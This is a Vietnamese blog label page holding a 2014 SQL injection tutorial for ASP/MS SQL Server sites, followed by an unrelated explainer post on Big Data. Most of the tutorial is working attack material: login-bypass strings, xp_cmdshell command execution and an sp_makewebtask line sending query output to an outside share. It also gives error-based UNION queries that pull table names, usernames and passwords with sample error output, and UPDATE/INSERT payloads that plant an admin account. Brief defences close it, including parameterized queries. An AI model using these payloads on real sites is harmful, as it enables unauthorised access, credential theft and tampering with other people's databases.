Showing posts with label Database. Show all posts
Showing posts with label Database. Show all posts

Wednesday, July 9, 2014

SQL Injection là gì ? Tấn công và cách phòng chống trong asp.net


1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...
Ví dụ:
http://yoursite.com/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.


3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--
  • Login: hi' or 1=1--
  • Password: hi' or 1=1--
  • http://yoursite.com/index.asp?id=hi' or 1=1--
Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:


Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:
http://yoursite.com/index.asp?category=food
Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"
Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Chú ý: folder "share" phải được share cho Everyone trước.

7. Nhận dữ liệu qua 'database using ODBC error message'

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL
Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Khi đó thông báo lỗi của SQL Server có thể là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

8. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

9. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".

10. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

11. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.
Để thay đổi password của "neo", có thể làm như sau:
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
Hoặc nếu bạn muốn một record mới vào table:
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

12. Ngăn chặn SQL Injection

Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:
  • input do người dùng đệ trình
  • các tham số từ URL
  • các giá trị từ cookie
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure trong database master mà không dùng như:
  • xp_cmdshell
  • xp_startmail
  • xp_sendmail
  • sp_makewebtask

13. Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.
Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

13. Tài liệu thao khảo

Big Data là gì?

Big Data là thuật ngữ dùng để chỉ một tập hợp dữ liệu rất lớn và rất phức tạp đến nỗi những công cụ, ứng dụng xử lí dữ liệu truyền thống không thể nào đảm đương được. Tuy nhiên, Big Data lại chứa trong mình rất nhiều thông tin quý giá mà nếu trích xuất thành công, nó sẽ giúp rất nhiều cho việc kinh doanh, nghiên cứu khoa học, dự đoán các dịch bệnh sắp phát sinh và thậm chí là cả việc xác định điều kiện giao thông theo thời gian thực. Chính vì thế, những dữ liệu này phải được thu thập, tổ chức, lưu trữ, tìm kiếm, chia sẻ theo một cách khác so với bình thường. Trong bài này, mời các bạn cùng tìm hiểu về Big Data, các phương thức người ta dùng để khai thác nó và nó giúp ích như thế nào cho cuộc sống của chúng ta.

1. Định nghĩa Big Data

Như đã nói ở trên, Big Data (“dữ liệu lớn”) có là tập hợp dữ liệu có dung lượng vượt mức đảm đương của những ứng dụng và công cụ truyền thống. Kích cỡ của Big Data đang từng ngày tăng lên, và tính đến năm 2012 thì nó có thể nằm trong khoảng vài chục terabyte cho đến nhiều petabyte (1 petabyte = 1024 terabyte) chỉ cho một tập hợp dữ liệu mà thôi.

Vào năm 2001, nhà phân tích Doug Laney của hãng META Group (bây giờ chính là công ty nghiên cứu Gartner) đã nói rằng những thách thức và cơ hội nằm trong việc tăng trưởng dữ liệu có thể được mô tả bằng ba chiều: tăng về lượng (volume), tăng về vận tốc (velocity) và tăng về chủng loại (variety). Giờ đây, Gartner cùng với nhiều công ty và tổ chức khác trong lĩnh vực công nghệ thông tin tiếp tục sử dụng mô hình “3V” này để định nghĩa nên Big Data. Đến năm 2012, Gartner bổ sung thêm rằng Big Data ngoài ba tính chất trên thì còn phải “cần đến các dạng xử lí mới để giúp đỡ việc đưa ra quyết định, khám phá sâu vào sự vật/sự việc và tối ưu hóa các quy trình làm việc”.

Chúng ta có thể lấy các thí nghiệm của Máy gia tốc hạt lớn (LHC) ở Châu Âu làm ví dụ cho Big Data. Khi các thí nghiệm này được tiến hành, kết quả sẽ được ghi nhận bởi 150 triệu cảm biến với nhiệm vụ truyền tải dữ liệu khoảng 40 triệu lần mỗi giây. Kết quả là nếu như LHC ghi nhận hết kết quả từ mọi cảm biến thì luồng dữ liệu sẽ trở nên vô cùng lớn, có thể đạt đến 150 triệu petabyte mỗi năm, hoặc 500 exabyte mỗi ngày, cao hơn 200 lần so với tất cả các nguồn dữ liệu khác trên thế giới gộp loại.

Đây là kết quả mô phỏng của một vụ va chạm giữa các hạt sơ cấp trong máy gia tốc LHC, có rất rất nhiều thông tin cần phải ghi nhận trong mỗi vụ chạm như thế này

Trong mỗi giây như thế lại có đến khoảng 600 triệu vụ va chạm giữa các hạt vật chất diễn ra, nhưng sau khi chọn lọc lại từ khoảng 99,999% các luồng dữ liệu đó, chỉ có tầm 100 vụ va chạm là được các nhà khoa học quan tâm. Điều này có nghĩa là cơ quan chủ quản LHC phải tìm những biện pháp mới để quản lý và xử lí hết mớ dữ liệu khổng lồ này.

Một ví dụ khác, khi Sloan Digital Sky Sruver, một trạm quan sát vũ trụ đặt tại New Mexico, bắt đầu đi vào hoạt động hồi năm 2000, sau một vài tuần nó đã thu thập dữ liệu lớn hơn tổng lượng dữ liệu mà ngành thiên văn học đã từng thu thập trong quá khứ, khoảng 200GB mỗi đêm và hiện tổng dung lượng đã đạt đến hơn 140 terabyte. Đài quan sát LSST để thay thế cho SDSS dự kiến khánh thành trong năm 2016 thì sẽ thu thập lượng dữ liệu tương đương như trên nhưng chỉ trong vòng 5 ngày.

Hoặc như công tác giải mã di truyền của con người chẳng hạn. Trước đây công việc này mất đến 10 năm để xử lí, còn bây giờ người ta chỉ cần một tuần là đã hoàn thành. Còn Trung tâm giả lập khí hậu của NASA thì đang chứa 32 petabyte dữ liệu về quan trắc thời tiết và giả lập trong siêu máy tính của họ. Việc lưu trữ hình ảnh, văn bản và các nội dung đa phương tiện khác trên Wikipedia cũng như ghi nhận hành vi chỉnh sửa của người dùng cũng cấu thành một tập hợp Big Data lớn.

Hoạt động của người dùng Wikipedia được mô hình hóa và với kích thước hàng terabyte, đây cũng có thể được xem là một dạng Big Data

2. Vài thông tin về tình hình Big Data hiện nay

Theo tài liệu của Intel vào tháng 9/2013, hiện nay thế giới đang tạo ra 1 petabyte dữ liệu trong mỗi 11 giây và nó tương đương với một đoạn video HD dài 13 năm. Bản thân các công ty, doanh nghiệp cũng đang sở hữu Big Data của riêng mình, chẳng hạn như trang bán hàng trực tuyến eBay thì sử dụng hai trung tâm dữ liệu với dung lượng lên đến 40 petabyte để chứa những truy vấn, tìm kiếm, đề xuất cho khách hàng cũng như thông tin về hàng hóa của mình.

Nhà bán lẻ online Amazon.com thì phải xử lí hàng triệu hoạt động mỗi ngày cũng như những yêu cầu từ khoảng nửa triệu đối tác bán hàng. Amazon sử dụng một hệ thống Linux và hồi năm 2005, họ từng sở hữu ba cơ sở dữ liệu Linux lớn nhất thế giới với dung lượng là 7,8TB, 18,5TB và 24,7TB.

Tương tự, Facebook cũng phải quản lí 50 tỉ bức ảnh từ người dùng tải lên, YouTube hay Google thì phải lưu lại hết các lượt truy vấn và video của người dùng cùng nhiều loại thông tin khác có liên quan.

Còn theo tập đoàn SAS, chúng ta có một vài số liệu thú vị về Big Data như sau:
  • Các hệ thống RFID (một dạng kết nối tầm gần, như kiểu NFC nhưng có tầm hoạt động xa hơn và cũng là thứ dùng trong thẻ mở cửa khách sạn) tạo ra lượng dữ liệu lớn hơn 1.000 lần so với mã vạc truyền thống
  • Chỉ trong vòng 4 giờ của ngày “Black Friday” năm 2012, cửa hàng Walmart đã phải xử lí hơn 10 triệu giao dịch tiền mặt, tức là khoản 5.000 giao diện mỗi giây.
  • Dịch vụ chuyển phát UPS nhận khoảng 39,5 triệu yêu cầu từ khách hàng của mình mỗi ngày
  • Dịch vụ thẻ VISA xử lí hơn 172.800.000 giao dịch thẻ chỉ trong vòng một ngày mà thôi
  • Trên Twitter có 500 triệu dòng tweet mới mỗi ngày, Facebook thì có 1,15 tỉ thành viên tạo ra một mớ khổng lồ dữ liệu văn bản, tập tin, video…
3. Công nghệ dùng trong Big Data

Big Data là nhu cầu đang tăng trưởng lớn đến nỗi Software AG, Oracle, IBM, Microsoft, SAP, EMC, HP và Dell đã chi hơn 15 tỉ USD cho các công ty chuyên về quản lí và phân tích dữ liệu. Năm 2010, ngành công nghiệp Big Data có giá trị hơn 100 tỉ USD và đang tăng nhanh với tốc độ 10% mỗi năm, nhanh gấp đôi so với tổng ngành phần mềm nói chung.

Một số công ty có tham gia vào lĩnh vực Big Data

Như đã nói ở trên, Big Data cần đến các kĩ thuật khai thác thông tin rất đặc biệt do tính chất khổng lồ và phức tạp của nó. Năm 2011, tập đoàn phân tích McKinsey đề xuất những công nghệ có thể dùng với Big Data bao gồm crowsourcing (tận dụng nguồn lực từ nhiều thiết bị điện toán trên toàn cầu để cùng nhau xử lí dữ liệu), các thuật toán về gen và di truyền, những biện pháp machine learning (ý chỉ các hệ thống có khả năng học hỏi từ dữ liệu, một nhánh của trí tuệ nhân tạo), xử lí ngôn ngữ tự nhiên (giống như Siri hay Google Voice Search, nhưng cao cấp hơn), xử lí tín hiệu, mô phỏng, phân tích chuỗi thời gian, mô hình hóa, kết hợp các server mạnh lại với nhau.... Những kĩ thuật này rất phức tạp nên chúng ta không đi sâu nói về chúng.

Một trong những mô hình về cấu trúc cơ bản của một tập hợp dữ liệu rất lớn do bộ phận nghiên cứu của Bộ quốc phòng Mỹ đưa ra

Ngoài ra, các cơ sở dữ liệu hỗ trợ xử lí dữ liệu song song, ứng dụng hoạt động dựa trên hoạt động tìm kiếm, file system dạng rời rạc, các hệ thống điện toán đám mây (bao gồm ứng dụng, nguồn lực tính toán cũng như không gian lưu trữ) và bản thân Internet cũng là những công cụ đắc lực phục vụ cho công tác nghiên cứu và trích xuất thông tin từ “dữ liệu lớn”. Hiện nay cũng có vài cơ sở dữ liệu theo dạng quan hệ (bảng) có khả năng chứa hàng petabyte dữ liệu, chúng cũng có thể tải, quản lí, sao lưu và tối ưu hóa cách sử dụng Big Data nữa.

Những người làm việc với Big Data thường cảm tháy khó chịu với các hệ thống lưu trữ dữ liệu vì tốc độ chậm, do đó họ thích những loại ổ lưu trữ nào có thể gắn trực tiếp vào máy tính (cũng như ổ cứng gắn trong máy tính của chúng ta vậy). Ổ đó có thể là SSD cho đến các đĩa SATA nằm trong một lưới lưu trữ cỡ lớn. Những người này nhìn vào ổ NAS hay hệ thống lưu trữ mạng SAN với góc nhìn rằng những thứ này quá phức tạp, đắt và chậm. Những tính chất nói trên không phù hợp cho hệ thống dùng để phân tích Big Data vốn nhắm đến hiệu năng cao, tận dụng hạ tầng thông dụng và chi phí thấp. Ngoài ra, việc phân tích Big Data cũng cần phải được áp dụng theo thời gian thực hoặc cận thời gian thực, thế nên độ trễ cần phải được loại bỏ bất kì khi nào và bất kì nơi nào có thể.

4. Big Data có thể giúp gì được cho chúng ta?

Tập đoàn SAS nói vấn đề thật sự không nằm ở việc bạn thu thập dữ liệu, thay vào đó, là bạn dùng Big Data để làm gì. Nhìn chung, có bốn lợi ích mà Big Data có thể mang lại: cắt giảm chi phí, giảm thời gian, tăng thời gian phát triển và tối ưu hóa sản phẩm, đồng thời hỗ trợ con người đưa ra những quyết định đúng và hợp lý hơn.

Nếu để ý một chút, bạn sẽ thấy khi mua sắm online trên eBay, Amazon hoặc những trang tương tự, trang này cũng sẽ đưa ra những sản phẩm gợi ý tiếp theo cho bạn, ví dụ khi xem điện thoại, nó sẽ gợi ý cho bạn mua thêm ốp lưng, pin dự phòng; hoặc khi mua áo thun thì sẽ có thêm gợi ý quần jean, dây nịt... Do đó, nghiên cứu được sở thích, thói quen của khách hàng cũng gián tiếp giúp doanh nghiệp bán được nhiều hàng hóa hơn.

Vậy những thông tin về thói quen, sở thích này có được từ đâu? Chính là từ lượng dữ liệu khổng lồ mà các doanh nghiệp thu thập trong lúc khách hàng ghé thăm và tương tác với trang web của mình. Chỉ cần doanh nghiệp biết khai thác một cách có hiệu quả Big Data thì nó không chỉ giúp tăng lợi nhuận cho chính họ mà còn tăng trải nghiệm mua sắm của người dùng, chúng ta có thể tiết kiệm thời gian hơn nhờ những lời gợi ý so với việc phải tự mình tìm kiếm.

Người dùng cuối như mình và các bạn sẽ được hưởng lợi cũng từ việc tối ưu hóa như thế, chứ bản thân chúng ta thì khó mà tự mình phát triển hay mua các giải pháp để khai thác Big Data bởi giá thành của chúng quá đắt, có thể đến cả trăm nghìn đô. Ngoài ra, lượng dữ liệu mà chúng ta có được cũng khó có thể xem là “Big” nếu chỉ có vài Terabyte sinh ra trong một thời gian dài.

Xa hơi một chút, ứng dụng được Big Data có thể giúp các tổ chức, chính phủ dự đoán được tỉ lệ thất nghiệp, xu hướng nghề nghiệp của tương lai để đầu tư cho những hạng mục đó, hoặc cắt giảm chi tiêu, kích thích tăng trưởng kinh tế, v/v... thậm chí là ra phương án phòng ngừa trước một dịch bệnh nào đó, giống như trong phim World War Z, nước Israel đã biết trước có dịch zombie nên đã nhanh chóng xây tường thành ngăn cách với thế giới bên ngoài.

Mà cũng không cần nói đến tương lai phim ảnh gì cả, vào năm 2009, Google đã sử dụng dữ liệu Big Data của mình để phân tích và dự đoán xu hướng ảnh hưởng, lan truyền của dịch cúm H1N1 đấy thôi. Dịch vụ này có tên là Google Flu Trends. Xu hướng mà Google rút ra từ những từ khóa tìm kiếm liên quan đến dịch H1N1 đã được chứng minh là rất sát với kết quả do hai hệ thống cảnh báo cúm độc lập Sentinel GP và HealthStat đưa ra. Dữ liệu của Flu Trends được cập nhật gần như theo thời gian thực và sau đó sẽ được đối chiếu với số liệu từ những trung tâm dịch bệnh ở nhiều nơi trên thế giới.
Google_Flu_Trends.
Đường màu xanh là dự đoán của Google Flu Trends dựa trên số từ khóa tìm kiếm liên quan đến các dịch cúm, màu vàng là dữ liệu do cơ quan phòng chống dịch của Mỹ đưa ra.

Còn theo Oracle, việc phân tích Big Data và những dữ liệu dung lượng lớn đã giúp các tổ chức kiếm được 10,66$ cho mỗi 1$ chi phí phân tích, tức là gấp 10 lần! Một trường học ở một quận lớn tại Mỹ cũng có được sự tăng trưởng doanh thulà 8 triệu USD mỗi năm, còn một công ty tài chính ẩn danh khác thì tăng 1000% lợi nhuận trên tổng số tiền đầu tư của mình trong vòng 3 năm.

5. Chỉ trích đối với Big Data

Có hai hướng chỉ trích chính đối với Big Data, một là về cách mà người ta sử dụng Big Data, cái còn lại thì liên quan đến việc tiến hành lấy thông tin từ Big Data mà thế giới đang làm.

A. Chỉ trích về Big Data

Chris Anderson, một nhà khởi nghiệp và cũng là một người viết sách, cho rằng việc sử dụng Big Data luôn cần phải được ngữ cảnh hóa trong các bối cảnh về xã hội, kinh tế và chính trị. Ví dụ, ngay cả khi các công ty đã đầu tư hàng tỉ USD vào Big Data và lấy được thông tin về nhiều thứ nhưng chỉ có ít hơn 40% nhân viên thật sự có thể hiểu và tận dụng các thông tin này. Điều đó làm giảm hiệu quả của Big Data đi nhiều so với lúc đầu, dẫn đến lãng phí tài nguyên.

Ngoài ra, còn có chỉ trích rằng Big Data chỉ có thể miêu tả thế giới trong quá khứ bởi nó dựa trên các dữ liệu đã sinh ra từ trước, và nếu tốt lắm thì chỉ miêu tả được trong hiện thực. Việc sử dụng Big Data để nói về tương lai thì cần phải kết hợp thêm với các phương pháp mô hình, mô phỏng hay nghiên cứu về sự chuyển động của thế giới thì mới đưa ra dự đoán chính xác được.

Bên cạnh đó, người ta còn lo lắng về vấn đề quyền riêng tư của người dùng. Việc thu thập Big Data có thể sẽ đi kèm thông tin có khả năng định dạng người dùng mà không được sự đồng ý của họ, và điều đó vi phạm luật ở một số quốc gia. Nhiều chuyên gia từ nhiều lĩnh vực khác nhau hiện đang thúc đẩy việc bảo vệ quyền riêng tư khi sử dụng Big Data.

B. Chỉ trích về việc lấy thông tin từ Big Data

Nhà nghiên cứu Danah Boyd đã đưa ra quan ngại của mình rằng việc sử dụng Big Data trong việc chọn mẫu thống kê có thể gây ra sự chủ quan, và dù ít hay nhiều thì nó cũng có thể ảnh hưởn đến kết quả cuối cùng. Việc khai thác dữ liệu từ một số nguồn là Big Data, trong khi những nguồn khác không phải là “dữ liệu lớn” thì đặt ra những thách thức khi phân tích dữ liệu.

6. Tương lai của Big Data

Erik Swan, đồng sáng lập kiêm giám đốc công nghệ của công ty Spunk, dự đoán rằng sự thay đổi nhất trong Big Data chính là thái độ của mọi người đối với nó. Việc tiêu thụ một lượng dữ liệu lớn sẽ dần phổ biến hơn với mọi người, từ những người nông dân cho đến các anh kĩ sư. Mọi người sẽ mặc định sử dụng dữ liệu để phân tích mọi thứ trong vòng 10 năm tới. Tất nhiên là kĩ thuật và công nghệ cũng cần phải phát triển theo thì điều này mới có thể trở thành hiện thực.

Còn theo Ankur Jain, nhà sáng lập và CEO của Humin, ngữ cảnh phát sinh ra dữ liệu sẽ trở nên quan trọng hơn. “Chúng ta sẽ bắt đầu định tuyến dữ liệu vào các đối tượng, sự vật, sự việc trong đời thực và chuyện đó giúp chúng ta xử lí công việc tốt hơn”.
Big_Data_problem.

Trong khi đó, Daniel Kaufman, giám đốc đổi mới về thông tin của cơ quan nghiên cứu thuộc Bộ quốc phòng Mỹ thì cho rằng dữ liệu sinh học sẽ ngày càng được quan tâm hơn, và rồi người ta sẽ dùng dữ liệu này để đưa ra những lời khuyên có ảnh hưởng lớn đến lối sống và cuộc đời của con người. Ví dụ, bạn có nên thêm một dĩa cơm tấm sườn nữa không, hay là nên ăn thêm một dĩa cơm gà? Bộ quốc phòng Mỹ muốn sử dụng kiểu suy nghĩ như thế (thay cơm bằng pizza nhé) để áp dụng cho binh lính của mình và hiện họ đang thử nghiệm trên chuột.

Giám đốc Swan còn suy nghĩ thêm rằng các công ty chuyên cung cấp giải pháp Big Data sẽ không còn bán dữ liệu và phân tích cho từng doanh nghiệp hay công ty riêng lẻ để phục vụ cho những mục đích quá chuyên biệt. Thay vào đó, họ sẽ mở rộng nó và áp dụng Big Data nhằm giải quyết những vấn đề trong đời thường và trả lời cho các nhu cầu cơ bản của con người. Đó sẽ là sự thay đổi về tính ứng dụng của Big Data.

Trong tương lai, chúng ta sẽ còn tiếp tục chứng kiến sự tăng trưởng của Big Data. Hiện nay có thể bạn cũng đã nghe đến khái niệm Internet of Things, tức là mang Internet đến với mọi thứ trong đời sống hằng ngày. Dữ liệu từ Internet of Things thực chất cũng là được thu thập từ một mạng lưới rất nhiều các cảm biến và thiết bị điện tử, và nó cũng là một trong những nguồn của Big Data. Lượng dữ liệu khổng lồ này có thể cho các nhà nghiên cứu biết được hành vi tiêu dùng của khách hàng, từ đó tinh chỉnh những thiết bị Internet of Things cho phù hợp hơn, bắt chúng phục vụ đời sống hằng ngày của chúng ta một cách hiệu quả hơn. Nó cũng có thể được dùng cho việc sản xuất, từ đó giảm sự liên quan của con người. Như lời của Daniel Kaufman dự đoán thì “con người sẽ làm ít hơn” nhờ Big Data.

Tóm lại, Big Data là thách thức đặt ra cho các tổ chức, doanh nghiệp trong thời đại số, trong tương lai Big Data sẽ tiến hóa như thế nào?

Bài đăng phổ biến